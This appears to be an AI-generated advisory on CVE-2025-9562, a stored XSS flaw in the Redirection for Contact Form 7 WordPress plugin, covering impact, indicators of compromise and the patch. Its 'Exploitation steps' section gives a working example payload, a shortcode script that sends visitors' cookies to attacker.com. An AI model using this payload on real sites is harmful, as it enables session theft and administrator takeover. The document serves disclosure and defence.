CVE-2025-9562
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-9562 is a Stored Cross-Site Scripting (XSS) vulnerability in the Redirection for Contact Form 7 WordPress plugin, affecting all versions up to and including 3.2.6. The flaw stems from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's qs_date shortcode. It was published on October 18–19, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The qs_date shortcode in the Redirection for Contact Form 7 plugin fails to properly sanitize user-supplied attributes before rendering them in page output, allowing arbitrary JavaScript to be embedded. An authenticated attacker with at minimum contributor-level access can craft a malicious shortcode and insert it into a post or page; the injected script then executes in the browser of any user who visits that page (Red Hat CVE, Wordfence).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including site administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and defacement of affected pages. The scope is marked as Changed in the CVSS vector, meaning the impact extends beyond the vulnerable component to the users' browsers (Red Hat CVE, Sucuri Blog).

Exploitability

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-9562. The EPSS score is approximately 0.03% (0.000300), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

Exploitation steps

  1. Gain contributor-level access: Register or compromise an account on the target WordPress site with at least contributor privileges.
  2. Create or edit a post/page: Navigate to the WordPress editor and create a new post or edit an existing one where shortcodes are rendered.
  3. Inject malicious shortcode: Insert a crafted qs_date shortcode with a malicious attribute, e.g., [qs_date format="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"], exploiting the lack of output escaping.
  4. Publish or save the content: Submit the post for review or publish it directly, embedding the payload in the page.
  5. Wait for victim interaction: When an administrator or other user visits the injected page, the script executes in their browser, potentially stealing session cookies or performing actions on their behalf (Red Hat CVE, Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing authenticated POST requests to wp-admin/post.php or the REST API containing qs_date shortcode with unusual or encoded attribute values.
  • File System: Unexpected modifications to post content in the WordPress database (wp_posts table) containing <script> tags or encoded JavaScript within qs_date shortcode attributes.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the qs_date shortcode, potentially carrying cookie or session data in query parameters.
  • Logs: WordPress audit log entries (if an audit plugin is installed) showing contributor-level users editing or publishing posts with shortcode content containing script tags.

Mitigation and workarounds

Users should update the Redirection for Contact Form 7 plugin to version 3.2.7 or later, which addresses the insufficient sanitization and output escaping in the qs_date shortcode. As an interim measure, site administrators can restrict contributor-level user permissions or disable the plugin until patching is feasible. Web application firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense (Wordfence, Sucuri Blog).

Community reactions

Wordfence included CVE-2025-9562 in its weekly WordPress vulnerability report for October 13–19, 2025, and Sucuri highlighted it in their October 2025 vulnerability patch roundup, both recommending prompt updates. No significant social media debate or high-profile researcher commentary has been observed beyond standard vulnerability disclosure channels (Wordfence, Sucuri Blog).

Additional resources


SourceThis report was generated using AI

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